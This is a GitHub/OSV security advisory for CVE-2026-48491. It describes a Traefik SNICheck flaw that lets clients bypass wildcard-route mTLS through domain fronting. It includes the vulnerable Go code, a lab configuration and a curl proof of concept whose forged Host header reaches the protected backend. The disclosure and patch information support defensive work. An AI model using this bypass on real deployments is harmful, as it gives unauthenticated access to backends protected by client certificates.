CVE-2026-48491: Traefik SNICheck Ignores Wildcard TLSOptions Mappings, Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5r4w-85f3-pw66",
  "modified" : "2026-09-02T15:34:19Z",
  "published" : "2026-06-16T19:02:20Z",
  "aliases" : [ "CVE-2026-48491" ],
  "summary" : "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass",
  "details" : "## Summary\n\nThere is a high severity vulnerability in Traefik's domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\n\nTraefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last >= 0 && host[last] == '.' {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\n    public:\n      loadBalancer:\n        servers:\n          - url: http://public:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n      - public\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n\n  public:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PUBLIC\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\n  -keyout certs/ca.key \\\n  -out certs/ca.crt \\\n  -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes \\\n  -keyout certs/server.key \\\n  -out certs/server.csr \\\n  -subj \"/CN=public.example.net\" \\\n  -addext \"subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req \\\n  -in certs/server.csr \\\n  -CA certs/ca.crt \\\n  -CAkey certs/ca.key \\\n  -CAcreateserial \\\n  -out certs/server.crt \\\n  -days 7 \\\n  -sha256 \\\n  -copy_extensions copyall\n```\n\n### PoC\n\nStart Traefik with the configuration above.\n\nTest environment:\n\n- Traefik images tested: `v3.7.0`, `v3.7.1`\n- Backend image: `traefik/whoami:v1.11`\n- Client: `curl` with HTTPS/HTTP2 support\n- EntryPoint: TCP port `8443` exposed locally\n- Provider: file provider\n\nControl 1: the permissive public route works normally and reaches the public backend:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PUBLIC\nHost: public.example.net:8443\n```\n\nControl 2: direct access to the wildcard-protected host without a client certificate is blocked:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve api.example.com:8443:127.0.0.1 \\\n  https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H 'Host: api.example.com'\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PROTECTED\nHost: api.example.com\n```\n\nThe curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:\n\n```text\n* [HTTP/2] [1] [:authority: api.example.com]\n> Host: api.example.com\n```\n\nExpected result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nTraefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.\n\nNegative control with exact host:\n\nReplacing the protected router rule with exact `Host(\"api.example.com\")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n```\n\nRun the same request:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H 'Host: api.example.com'\n```\n\nObserved result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nThis shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check.\n\nRegression test used during validation:\n\n```bash\ngo test ./pkg/middlewares/snicheck \\\n  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \\\n  -count=1\n```\n\nVersion matrix observed with Docker images:\n\n```text\nv3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup\nv3.7.0: affected\nv3.7.1: affected\n```\n\n### Impact\n\nDeployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.\n\nThe TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route.\n\nA possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only.\n\nPossible workarounds until a fix is available:\n\n- Avoid wildcard router `TLSOptions` for mTLS access control.\n- Enumerate exact protected hostnames instead of using wildcard `Host` rules.\n- Enforce mTLS in the default TLS options as well.\n- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.\n- Block or reject domain-fronted requests at another layer.\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.48"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48491"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:62260"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-48491"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.48"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.19"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.3"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-288", "CWE-807" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T19:02:20Z",
    "nvd_published_at" : "2026-06-23T20:16:48Z"
  }
}